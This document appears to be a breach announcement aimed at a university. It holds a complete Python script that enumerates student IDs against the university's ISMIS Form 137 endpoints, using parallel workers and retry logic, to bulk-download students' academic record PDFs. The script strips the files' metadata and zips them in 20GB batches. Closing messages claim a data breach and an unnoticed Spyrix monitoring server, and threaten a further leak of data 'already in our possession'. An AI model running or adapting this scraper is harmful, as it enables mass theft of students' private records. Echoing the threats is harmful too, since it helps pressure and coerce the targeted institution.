that was a fun watch
more info
code via API
import pikepdf
import zipfile
import os
import requests
import logging
from concurrent.futures import ThreadPoolExecutor, as_completed
from rich.progress import Progress, BarColumn, TextColumn, TimeElapsedColumn, TimeRemainingColumn, SpinnerColumn
from rich.live import Live
from rich.panel import Panel
from rich.layout import Layout
from typing import List, Optional, Dict
from urllib.parse import urlencode
from requests.adapters import HTTPAdapter, Retry
import signal
import random
import time
from threading import Event, local
thread_local = local()
BASE_URL = "https://ismis.usc.edu.ph/Form138and137/Form137Print"
EXPORT_URL = "https://ismis.usc.edu.ph/Form138and137/Form137PrintPartialExport"
YEAR = "2022"
PERIOD = "FIRST_SEMESTER"
DEFAULT_HEADERS = {
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Connection': 'keep-alive',
}
PDF_HEADERS = {
'User-Agent': DEFAULT_HEADERS['User-Agent'],
'Accept': 'application/pdf,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': DEFAULT_HEADERS['Accept-Language'],
'Content-Type': 'application/x-www-form-urlencoded',
'Origin': 'https://ismis.usc.edu.ph',
'Connection': 'keep-alive',
}
def setup_logging(log_file: str = 'form137_direct_downloader.log') -> None:
logging.basicConfig(
level=logging.INFO,
format='%(asctime)s - %(levelname)s - %(message)s',
handlers=[
logging.FileHandler(log_file)
]
)
def build_url(student_id: str, year: str, period: str) -> str:
params =
{
"studentID": student_id,
"year": year,
"period": period
}
return f"{BASE_URL}?{urlencode(params)}"
def get_session_with_retries(timeout: int = 12, total_retries: int = 5, backoff_factor: float = 0.5) -> requests.Session:
if not hasattr(thread_local, 'session'):
session = requests.Session()
retries = Retry(
total=total_retries,
backoff_factor=backoff_factor,
status_forcelist=[429, 500, 502, 503, 504],
allowed_methods=["HEAD", "GET", "OPTIONS", "POST"],
raise_on_status=False,
read=3,
connect=3,
redirect=3
)
adapter = HTTPAdapter(
max_retries=retries,
pool_connections=30,
pool_maxsize=30,
pool_block=False
)
session.mount('http://', adapter)
session.mount('https://', adapter)
session.request = lambda *args, **kwargs: requests.Session.request(session, *args, timeout=timeout, **kwargs)
thread_local.session = session
return thread_local.session
def strip_pdf_metadata(pdf_path):
try:
with pikepdf.open(pdf_path, allow_overwriting_input=True) as pdf:
pdf.metadata.clear()
pdf.save(pdf_path)
except Exception as e:
logging.warning(f"Failed to strip metadata for {pdf_path}: {e}")
def check_student_exists(
student_id: str,
year: str,
period: str,
timeout: int = 8,
headers: Optional[Dict] = None,
cookies: Optional[Dict] = None,
max_retries: int = 5,
) -> bool:
session = get_session_with_retries(timeout=timeout)
get_url = build_url(str(student_id), year, period)
get_headers = DEFAULT_HEADERS.copy()
if headers:
get_headers.update(headers)
for attempt in range(max_retries):
try:
# First, set up the session by visiting the form page
resp = session.get(get_url, headers=get_headers, cookies=cookies)
resp.raise_for_status()
# Now request the PDF to check its size
post_headers = PDF_HEADERS.copy()
post_headers['Referer'] = get_url
if headers:
post_headers.update(headers)
form_data =
{
'DXRVState': '{"drillDown":{},"parameters":{},"cacheKey":"","currentPageIndex":0,"remote":""}',
'DXArgument': 'saveToDisk=format:pdf;'
}
pdf_response = session.post(EXPORT_URL, data=form_data, headers=post_headers, cookies=cookies)
pdf_response.raise_for_status()
if pdf_response.headers.get('Content-Type', '').lower().startswith('application/pdf'):
pdf_size = len(pdf_response.content)
if pdf_size == 95769:
logging.debug(f"Student {student_id} empty PDF (95769 bytes) - skipping")
return False
else:
logging.debug(f"Student {student_id} valid PDF ({pdf_size} bytes)")
return True
else:
logging.debug(f"Student {student_id} - non-PDF response")
return False
except (requests.exceptions.Timeout, requests.exceptions.ConnectionError) as e:
logging.warning(f"Network error checking student {student_id} on attempt {attempt + 1}: {e}")
if attempt == max_retries - 1:
logging.debug(f"Failed to check student {student_id} after {max_retries} attempts")
return True
time.sleep(1 + attempt)
except Exception as e:
logging.debug(f"Error checking student {student_id}: {e}")
if attempt == max_retries - 1:
return True
time.sleep(1 + attempt)
def download_pdf(
student_id: str,
year: str,
period: str,
out_dir: str,
refresh_count: int = 1,
timeout: int = 12,
headers: Optional[Dict] = None,
cookies: Optional[Dict] = None,
check_existence: bool = True,
max_retries: int = 3,
) -> tuple:
session = get_session_with_retries(timeout=timeout)
if hasattr(thread_local, 'retry_counts'):
retry_count = thread_local.retry_counts.get(student_id, 0)
if retry_count > 5:
delay = min(random.uniform(0.1, 0.3) * retry_count, 2.0)
time.sleep(delay)
else:
if random.random() < 0.1:
time.sleep(random.uniform(0.05, 0.15))
get_url = build_url(str(student_id), year, period)
get_headers = DEFAULT_HEADERS.copy()
if headers:
get_headers.update(headers)
get_status_code = 0
post_status_code = 0
for get_attempt in range(max_retries):
try:
logging.info(f"Visiting Form137Print page for student {student_id} to set up session ({refresh_count} refreshes)... Attempt {get_attempt + 1}")
for refresh_num in range(refresh_count):
resp = session.get(get_url, headers=get_headers, cookies=cookies)
get_status_code = resp.status_code
resp.raise_for_status()
logging.debug(f"Refreshed session for {student_id} ({refresh_num+1}/{refresh_count}) - Status: {get_status_code}")
break
except requests.exceptions.Timeout as e:
logging.warning(f"Timeout during GET for {student_id} on attempt {get_attempt + 1}: {e}")
if get_attempt == max_retries - 1:
return (False, get_status_code, f"GET timeout after {max_retries} attempts")
time.sleep(1 + get_attempt)
except requests.exceptions.RequestException as e:
error_msg = str(e)
if "Failed to resolve" in error_msg or "Name resolution" in error_msg:
logging.error(f"DNS resolution failed for {student_id}: {e} - Status: {get_status_code}")
if get_attempt == max_retries - 1:
return (False, get_status_code, f"DNS resolution failed")
time.sleep(2 + get_attempt)
elif "Connection" in error_msg:
logging.error(f"Connection failed for {student_id}: {e} - Status: {get_status_code}")
if get_attempt == max_retries - 1:
return (False, get_status_code, f"Connection failed")
time.sleep(1 + get_attempt)
else:
logging.error(f"GET request failed for {student_id}: {e} - Status: {get_status_code}")
if get_attempt == max_retries - 1:
return (False, get_status_code, f"GET failed: {e}")
time.sleep(1 + get_attempt)
except Exception as e:
logging.error(f"Unexpected error during GET for {student_id}: {e} - Status: {get_status_code}")
if get_attempt == max_retries - 1:
return (False, get_status_code, f"GET failed: {e}")
time.sleep(1 + get_attempt)
post_headers = PDF_HEADERS.copy()
post_headers['Referer'] = get_url
if headers:
post_headers.update(headers)
form_data = {
'DXRVState': '{"drillDown":{},"parameters":{},"cacheKey":"","currentPageIndex":0,"remote":""}',
'DXArgument': 'saveToDisk=format:pdf;'
}
for post_attempt in range(max_retries):
try:
logging.info(f"Requesting PDF for student {student_id} via POST... Attempt {post_attempt + 1}")
response = session.post(EXPORT_URL, data=form_data, headers=post_headers, cookies=cookies)
post_status_code = response.status_code
response.raise_for_status()
if response.headers.get('Content-Type', '').lower().startswith('application/pdf'):
pdf_size = len(response.content)
if check_existence and pdf_size == 95769:
logging.info(f"Skipping {student_id} - empty PDF detected ({pdf_size} bytes) - Status: {post_status_code}")
return (False, post_status_code, f"empty PDF ({pdf_size} bytes)")
out_path = os.path.join(out_dir, f"{student_id}.pdf")
if os.path.exists(out_path):
logging.info(f"Skipping {student_id} - file already exists - Status: {post_status_code}")
return (False, post_status_code, f"file already exists")
with open(out_path, 'wb') as f:
f.write(response.content)
logging.info(f"Downloaded PDF for {student_id} -> {out_path} ({pdf_size:,} bytes) - Status: {post_status_code}")
strip_pdf_metadata(out_path)
return (True, post_status_code, f"success ({pdf_size:,} bytes)")
else:
content_type = response.headers.get('Content-Type', 'unknown')
logging.warning(f"Failed to download for {student_id}: Status {post_status_code}, Content-Type {content_type}")
return (False, post_status_code, f"non-PDF response: {content_type}")
except requests.exceptions.Timeout as e:
logging.warning(f"Timeout during POST for {student_id} on attempt {post_attempt + 1}: {e}")
if post_attempt == max_retries - 1:
return (False, post_status_code, f"POST timeout after {max_retries} attempts")
time.sleep(1 + post_attempt)
except requests.exceptions.RequestException as e:
error_msg = str(e)
if "Failed to resolve" in error_msg or "Name resolution" in error_msg:
logging.error(f"DNS resolution failed during POST for {student_id}: {e} - Status: {post_status_code}")
if post_attempt == max_retries - 1:
return (False, post_status_code, f"DNS resolution failed")
time.sleep(2 + post_attempt)
elif "Connection" in error_msg or "ConnectionResetError" in error_msg:
logging.error(f"Connection failed during POST for {student_id}: {e} - Status: {post_status_code}")
if post_attempt == max_retries - 1:
return (False, post_status_code, f"Connection failed")
time.sleep(1 + post_attempt)
elif "timeout" in error_msg.lower():
logging.error(f"Timeout during POST for {student_id}: {e} - Status: {post_status_code}")
if post_attempt == max_retries - 1:
return (False, post_status_code, f"Timeout error")
time.sleep(1 + post_attempt)
else:
logging.error(f"POST request failed for {student_id}: {e} - Status: {post_status_code}")
if post_attempt == max_retries - 1:
return (False, post_status_code, f"POST failed: {e}")
time.sleep(1 + post_attempt)
except Exception as e:
logging.error(f"Unexpected error during POST for {student_id}: {e} - Status: {post_status_code}")
if post_attempt == max_retries - 1:
return (False, post_status_code, f"POST failed: {e}")
time.sleep(1 + post_attempt)
def zip_pdfs_in_folder(folder, batch_num):
zip_name = os.path.join(folder, f"batch_{batch_num}.zip")
with zipfile.ZipFile(zip_name, 'w', zipfile.ZIP_DEFLATED) as zipf:
for f in os.listdir(folder):
if f.endswith('.pdf'):
fp = os.path.join(folder, f)
zipf.write(fp, arcname=f)
for f in os.listdir(folder):
if f.endswith('.pdf'):
try:
os.remove(os.path.join(folder, f))
except Exception as e:
logging.warning(f"Error deleting {f} after zipping: {e}")
logging.info(f"Zipped and cleared batch {batch_num} ({zip_name})")
def delete_target_size_pdfs(folder, target_size=95769):
found = False
for fname in os.listdir(folder):
if fname.endswith('.pdf'):
fpath = os.path.join(folder, fname)
try:
size = os.path.getsize(fpath)
if size == target_size:
logging.info(f"Deleting file: {fname} ({size} bytes)")
os.remove(fpath)
found = True
except Exception as e:
logging.error(f"Error checking/removing {fname}: {e}")
if not found:
logging.info(f"No PDFs found with size {target_size} bytes.")
def get_folder_size(folder):
total = 0
for f in os.listdir(folder):
fp = os.path.join(folder, f)
if os.path.isfile(fp):
total += os.path.getsize(fp)
return total
def count_pdfs(folder):
return sum(1 for f in os.listdir(folder) if f.endswith('.pdf'))
def render_layout(log_lines, status, progress, total, batch_num, out_dir):
layout = Layout()
log_panel = Panel(
"\n".join(log_lines),
title="Logs",
border_style="blue",
padding=(0, 1),
height=min(len(log_lines) + 2, 18)
)
right_lines = [
f"[bold]Total:[/bold] {total:,}",
f"[green]Success:[/green] {status['successful']:,}",
f"[red]Failed:[/red] {status['failed']:,}",
f"[blue]Skipped:[/blue] {status['skipped']:,}",
f"[yellow]In Queue:[/yellow] {status['in_progress']:,}",
f"[cyan]Batch (zip):[/cyan] {batch_num if batch_num > 0 else '-'}",
f"[cyan]PDFs in folder:[/cyan] {count_pdfs(out_dir):,}",
f"[cyan]Folder Size:[/cyan] {get_folder_size(out_dir) // (1024 * 1024):,} MB",
f"[magenta]Completion:[/magenta] {((status['successful'] + status['failed'] + status['skipped']) / total * 100):.1f}%"
]
if 'status_codes' in status and status['status_codes']:
status_code_lines = []
for code, count in sorted(status['status_codes'].items()):
if code == 200:
status_code_lines.append(f"[green]200:[/green] {count}")
elif code == 429:
status_code_lines.append(f"[red]429:[/red] {count}")
elif code == 403:
status_code_lines.append(f"[red]403:[/red] {count}")
elif code == 500:
status_code_lines.append(f"[yellow]500:[/yellow] {count}")
else:
status_code_lines.append(f"[white]{code}:[/white] {count}")
if status_code_lines:
right_lines.append(f"[dim]Status codes:[/dim] {' '.join(status_code_lines[:4])}")
right_panel = Panel(
"\n".join(right_lines),
title="Status",
border_style="magenta",
padding=(0, 1),
height=18
)
layout.split_column(
Layout(name="top", size=18),
Layout(progress, name="progress", size=3)
)
layout["top"].split_row(
Layout(log_panel, name="logs"),
Layout(right_panel, name="status", ratio=1)
)
return layout
def parallel_download(
student_ids: List[str],
year: str,
period: str,
out_dir: str,
max_workers: int = 100,
headers: Optional[Dict] = None,
cookies: Optional[Dict] = None,
refresh_count: int = 1,
timeout: int = 12,
check_existence: bool = True,
):
BATCH_SIZE_BYTES = 20 * 1024 * 1024 * 1024
batch_num = 0
os.makedirs(out_dir, exist_ok=True)
successful = 0
failed = 0
skipped = 0
total = len(student_ids)
status = {"successful": 0, "failed": 0, "skipped": 0, "in_progress": 0, "total": total, "status_codes": {}}
stop_event = Event()
def signal_handler(sig, frame):
print("\nKeyboard interrupt received. Cancelling all downloads and exiting...")
stop_event.set()
os._exit(1)
signal.signal(signal.SIGINT, signal_handler)
max_log_lines = 15
log_lines = []
def add_log(msg):
if len(log_lines) >= max_log_lines:
log_lines.pop(0)
log_lines.append(msg)
def get_status_str():
return (
f"[green]S:[/green]{status['successful']} "
f"[red]F:[/red]{status['failed']} "
f"[blue]Skip:[/blue]{status['skipped']} "
f"[yellow]Q:[/yellow]{status['in_progress']} "
f"[cyan]T:[/cyan]{status['total']}"
)
progress = Progress(
SpinnerColumn(),
TextColumn("{task.description}", justify="right"),
BarColumn(bar_width=None),
TextColumn("[progress.percentage]{task.percentage:>3.1f}%"),
TextColumn("{task.completed:,}/{task.total:,}", justify="right"),
TimeElapsedColumn(),
TimeRemainingColumn(),
transient=True,
expand=True,
)
task_id = progress.add_task(f"Downloading PDFs {get_status_str()}", total=total)
MAX_TASK_RETRIES = 10
HIGH_RETRY_THRESHOLD = 50
CIRCUIT_BREAKER_THRESHOLD = 25
consecutive_failures = 0
with Live(render_layout(log_lines, status, progress, total, batch_num, out_dir), refresh_per_second=5, transient=True, screen=False) as live:
with ThreadPoolExecutor(max_workers=max_workers) as executor:
print(f"Pre-warming {max_workers} workers...")
print(f"Submitting all {len(student_ids):,} tasks to workers...")
futures = {}
batch_size = 1000
for i in range(0, len(student_ids), batch_size):
batch = student_ids[i:i+batch_size]
for sid in batch:
future = executor.submit(download_pdf, sid, year, period, out_dir, refresh_count, timeout, headers, cookies, check_existence, 3)
futures[future] = sid
if i % 10000 == 0:
print(f"📤 Submitted {min(i+batch_size, len(student_ids)):,}/{len(student_ids):,} tasks...")
status["in_progress"] = len(futures)
print(f"✅ All {len(futures):,} tasks submitted to {max_workers} workers!")
print(f"🔥 Starting high-speed download...")
completed_count = 0
update_counter = 0
for future in as_completed(futures):
if stop_event.is_set():
break
sid = futures[future]
del futures[future]
status["in_progress"] -= 1
update_counter += 1
try:
success, status_code, message = future.result()
if status_code:
status["status_codes"][status_code] = status["status_codes"].get(status_code, 0) + 1
if success:
successful += 1
status["successful"] += 1
add_log(f"[green]✓[/green] {sid} [{status_code}]")
elif "empty PDF" in message:
skipped += 1
status["skipped"] += 1
add_log(f"[blue]○[/blue] {sid} [{status_code}] {message[:20]}...")
elif "exists" in message:
skipped += 1
status["skipped"] += 1
add_log(f"[blue]○[/blue] {sid} [{status_code}] {message[:20]}...")
else:
failed += 1
status["failed"] += 1
add_log(f"[red]✗[/red] {sid} [{status_code}] {message[:20]}...")
except Exception as exc:
retry_counts = getattr(thread_local, 'retry_counts', {})
retry_counts[sid] = retry_counts.get(sid, 0) + 1
setattr(thread_local, 'retry_counts', retry_counts)
if retry_counts[sid] < MAX_TASK_RETRIES:
error_str = str(exc).lower()
if "dns" in error_str or "name resolution" in error_str:
add_log(f"[yellow]⚠[/yellow] {sid}: DNS issue, retry #{retry_counts[sid]+1}/10")
retry_delay = 0.8 + (retry_counts[sid] * 0.2)
elif any(err in error_str for err in ['connection', 'reset', 'timeout']):
add_log(f"[yellow]⚠[/yellow] {sid}: Connection issue, retry #{retry_counts[sid]+1}/10")
retry_delay = 0.6 + (retry_counts[sid] * 0.15)
elif any(err in error_str for err in ['post', '500', '502', '503', '504']):
add_log(f"[yellow]⚠[/yellow] {sid}: Server error, retry #{retry_counts[sid]+1}/10")
retry_delay = 0.4 + (retry_counts[sid] * 0.1)
else:
add_log(f"[yellow]⚠[/yellow] {sid}: {str(exc)[:25]}... retry #{retry_counts[sid]+1}/10")
retry_delay = 0.3 + (retry_counts[sid] * 0.1)
if retry_counts[sid] > 5:
retry_delay *= 1.8
time.sleep(retry_delay)
new_future = executor.submit(download_pdf, sid, year, period, out_dir, refresh_count, timeout, headers, cookies, check_existence, 3)
futures[new_future] = sid
status["in_progress"] += 1
else:
failed += 1
status["failed"] += 1
add_log(f"[red]✗[/red] {sid}: Failed after 10 attempts")
completed_count = status["successful"] + status["failed"] + status["skipped"]
if update_counter % 10 == 0:
progress.update(task_id, completed=completed_count, description=f"Downloading PDFs {get_status_str()}")
live.update(render_layout(log_lines, status, progress, total, batch_num, out_dir))
if completed_count % 50 == 0:
folder_size = get_folder_size(out_dir)
if folder_size >= BATCH_SIZE_BYTES:
add_log(f"[yellow]Folder reached 20GB, zipping batch {batch_num+1}...[/yellow]")
live.update(render_layout(log_lines, status, progress, total, batch_num, out_dir))
zip_pdfs_in_folder(out_dir, batch_num+1)
batch_num += 1
live.update(render_layout(log_lines, status, progress, total, batch_num, out_dir))
if completed_count % 200 == 0:
add_log(f"[yellow]Cleaning invalid PDFs after {completed_count:,} downloads...[/yellow]")
live.update(render_layout(log_lines, status, progress, total, batch_num, out_dir))
delete_target_size_pdfs(out_dir, 95769)
if stop_event.is_set():
for future in futures.keys():
future.cancel()
import gc
gc.collect()
if hasattr(thread_local, 'session'):
try:
thread_local.session.close()
delattr(thread_local, 'session')
except:
pass
if hasattr(thread_local, 'retry_counts'):
delattr(thread_local, 'retry_counts')
return status
def main():
import argparse
setup_logging()
parser = argparse.ArgumentParser(description="Direct Form 137 PDF Downloader - Optimized for Large Scale")
parser.add_argument('--start', type=str, required=True, help='Start student ID (string, e.g. 0 or 0000)')
parser.add_argument('--end', type=str, required=True, help='End student ID (string, e.g. 9 or 0099)')
parser.add_argument('--out', type=str, default='downloads', help='Output directory')
parser.add_argument('--workers', type=int, default=100, help='Number of parallel downloads (default: 100 - balanced for stability and speed)')
parser.add_argument('--refresh-count', type=int, default=1, help='Number of GET requests to refresh the session before a POST')
parser.add_argument('--chunk-size', type=int, default=2000, help='Process IDs in chunks of this size (default: 2000)')
parser.add_argument('--skip-name-check', action='store_true', help='Skip checking for empty PDFs (95769 bytes) - downloads all PDFs including empty ones')
args = parser.parse_args()
def generate_ids(start: str, end: str):
ids = []
start_int = int(start)
end_int = int(end)
min_width = len(start)
max_width = len(end)
for i in range(start_int, end_int + 1):
s = str(i)
if len(s) < min_width:
ids.append(s.zfill(min_width))
elif len(s) > max_width:
continue
else:
ids.append(s.zfill(max_width))
return ids
student_ids = generate_ids(args.start, args.end)
total_ids = len(student_ids)
print(f"Total files to download: {total_ids:,}")
print(f"Using {args.workers} parallel workers")
print(f"Processing in chunks of {args.chunk_size:,}")
print(f"Estimated time (300 downloads/min): {total_ids/300/60:.1f} hours")
print(f"Each request has 3 automatic retries for reliability")
print("")
chunk_size = args.chunk_size
for i in range(0, len(student_ids), chunk_size):
chunk = student_ids[i:i + chunk_size]
chunk_start = i + 1
chunk_end = min(i + chunk_size, len(student_ids))
print(f"Processing chunk {chunk_start:,} to {chunk_end:,} ({len(chunk):,} files)")
parallel_download(
chunk,
YEAR,
PERIOD,
args.out,
args.workers,
refresh_count=args.refresh_count,
check_existence=not args.skip_name_check,
)
print(f"Completed chunk {chunk_start:,} to {chunk_end:,}")
import gc
gc.collect()
if hasattr(thread_local, 'session'):
try:
thread_local.session.close()
delattr(thread_local, 'session')
except:
pass
if hasattr(thread_local, 'retry_counts'):
delattr(thread_local, 'retry_counts')
print(f"Memory cleanup completed for chunk {chunk_start:,} to {chunk_end:,}")
time.sleep(0.5)
print(f"All {total_ids:,} files processed!")
print(f"All {total_ids:,} files processed!")
if __name__ == "__main__":
main()
files were only accessed in USC-STORAGE\F$\ISMIS2Files
do better with your money instead of pocketing it
data along with the breach was used in this link
https://ismis.usc.edu.ph/AdmissionMonitoring
you know what we have
fix that
or you can witness another so called data breach that is already in our possession
also none of your staff noticed a spyrix server running
i pity your establishment
use that money to something useful
you know
a cancer sometimes goes unnoticed
and a student can be a backdoor
try checking in your student hackers
who knows :)